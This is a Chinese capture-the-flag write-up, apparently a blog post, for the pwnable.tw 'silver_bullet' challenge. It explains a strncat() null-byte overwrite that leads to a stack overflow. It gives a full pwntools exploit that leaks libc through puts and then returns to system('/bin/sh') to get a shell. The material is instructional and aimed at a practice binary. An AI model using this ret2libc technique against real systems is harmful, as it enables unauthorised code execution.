【tw】silver_bullet

程序与利用

create 函数如下:

向 s 中读取字节,这个传进来的 s 在main函数栈帧的如下位置:
在这里插入图片描述
s + 48 处存放了这段字符的长度。
power up 函数如下:
在这里插入图片描述
这里有一个非常重要的函数 strncat():

char *strncat(char *dest, const char *src, size_t n)

这个函数是把 src 指向的字符串追加到 dest 字符串的结尾,直到 n 字符长度为止。如果 src 字符串的长度不足 n 则全部追加,如果超过 n 则只追加前 n 个字符。但是无论哪种情况都会在最终的字符串结尾加上空字符
而这个函数中的逻辑是先追加,然后计算 v3,其中*(dest + 12) 恰好在追加最长字符的末尾,也就是说通过追加字符可以将该值覆盖为 0,那么 v3 的值一定 < 0x2f,所以通过这种方式就可以继续追加,然后覆盖到下面的返回地址。此时栈的结构如下:

地址内容
ebp - 0x34s
ebp - 0x4len(s)
ebpebp
ebp+0x4返回地址

因为程序处于一个循环中,所以想 return 则必须进入下面这个函数并使返回值满足条件:
在这里插入图片描述
其中的条件如下图,所以此时将 len(s) 的值覆盖为大于 *a2 的值即可:
在这里插入图片描述

第一次可以利用溢出泄漏 libc_base,将返回地址覆盖为 main 函数:

# get libc_base
des = 'a'*40
add(des)
des = 'b'*8
cat(des)
pl = '\xff'*3 + '\xff'*4 + p32(puts_plt) + p32(main) + p32(puts_got)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")
addr = u32(p.recvuntil("\n", drop=True).ljust(4, '\x00'))

此时栈上:
在这里插入图片描述
接收 puts 地址获得 libc_base,尝试过 read 没成功的原因是在我本机 libc 中其地址末位即小端序的第一位为 \x00,所以没能泄漏,所以下次遇到 payload 没问题但是没泄漏的情况考虑一下是不是其地址的问题。
然后进行第二次利用直接将返回地址修改到 system("/bin/sh");

# system("/bin/sh")
des = 'a'*40
add(des)
des = 'b'*8
cat(des)

pl = '\xff'*3 + '\xff'*4 + p32(system) + p32(main) + p32(bin_sh)
cat(pl)
cmd(3)

此时栈上,return 即完成利用:
在这里插入图片描述

完整exp

#encoding=utf-8
from pwn import *

p = process("./silver_bullet")
# p = remote("chall.pwnable.tw", 10103)
elf = ELF("./silver_bullet")
# libc = ELF("./libc_32.so.6")
libc = elf.libc

context(log_level = 'debug')
DEBUG = 1
if DEBUG:
	gdb.attach(p, 
	'''	
	b *0x08048935
	c
	''')

def dbg():
    gdb.attach(p)
    pause()

se      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
rc      = lambda num          		:p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda delims             :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))	
uu64    = lambda data               :u64(data.ljust(8, '\x00'))
info    = lambda tag, addr          :log.info(tag + " -> " + hex(addr))
ia		= lambda                    :p.interactive()

menu = "Your choice :"
def cmd(idx):
	ru(menu)
	sl(str(idx))

def add(des):
	cmd(1)
	ru("description of bullet :")
	se(des)

def cat(des):
	cmd(2)
	ru("description of bullet :")
	se(des)

read_got = elf.got['read']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x08048954

# get libc_base
des = 'a'*40
add(des)
des = 'b'*8
cat(des)

pl = '\xff'*3 + '\xff'*4 + p32(puts_plt) + p32(main) + p32(puts_got)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")
addr = u32(p.recvuntil("\n", drop=True).ljust(4, '\x00'))
info("addr", addr)

libc_base = addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search("/bin/sh").next()

# system("/bin/sh")
des = 'a'*40
add(des)
des = 'b'*8
cat(des)

pl = '\xff'*3 + '\xff'*4 + p32(system) + p32(main) + p32(bin_sh)
cat(pl)
cmd(3)
ru("Oh ! You win !!\n")

ia()

在这里插入图片描述

知识点

  • strncat() 函数
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值